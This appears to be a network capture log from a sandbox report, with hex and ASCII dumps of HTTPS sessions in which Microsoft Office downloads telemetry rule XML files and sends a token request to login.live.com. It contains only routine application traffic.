2024-10-29 19:35:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:13 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193513Z-16849878b78sx229w7g7at4nkg000000056g00000000kdz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:13 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:15 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:15 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:15 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 6768b437-a01e-00ab-174d-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193515Z-16849878b78bjkl8dpep89pbgg00000005k0000000011axu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:15 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:15 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:15 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:15 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193515Z-16849878b78zqkvcwgr6h55x9n00000006dg00000000fq46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:15 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:15 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:15 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 67ffa827-301e-006e-4912-29f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193515Z-r197bdfb6b4bs5qf58wn14wgm00000000650000000000ze4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:15 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:15 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:15 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:15 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: c317859a-501e-00a3-19db-27c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193515Z-r197bdfb6b4jlq9hppzrdwabps000000024g00000000bp79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:15 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:15 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:15 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:15 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 97ce691d-801e-0047-0a01-277265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193515Z-16849878b78bcpfn2qf7sm6hsn00000008eg000000012dt0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:15 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49835	20.190.159.2	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:15 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-29 19:35:15 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 19:35:15 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 19:34:15 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 31671258-31de-4ab0-8b1a-16dc819a2a06 PPServer: PPV: 30 H: PH1PEPF0001B6F2 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 19:35:15 GMT Connection: close Content-Length: 1276
2024-10-29 19:35:15 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:15 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:16 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:16 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: ca4b2a6a-001e-000b-1aff-2615a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193516Z-17c5cb586f6w4mfs5xcmnrny6n00000008sg00000000ay18 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:16 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:15 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:16 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:16 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193516Z-16849878b78xblwksrnkakc08w00000006ag000000000qaa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:16 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:16 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:16 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:16 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 5925f4c0-501e-00a3-7895-29c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193516Z-17c5cb586f64v7xsc2ahm8gsgw00000001vg00000000hxem x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:16 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:16 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:16 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:16 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 98c82924-f01e-0020-04fc-26956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193516Z-r197bdfb6b4d9xksru4x6qbqr000000007400000000078ze x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:16 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
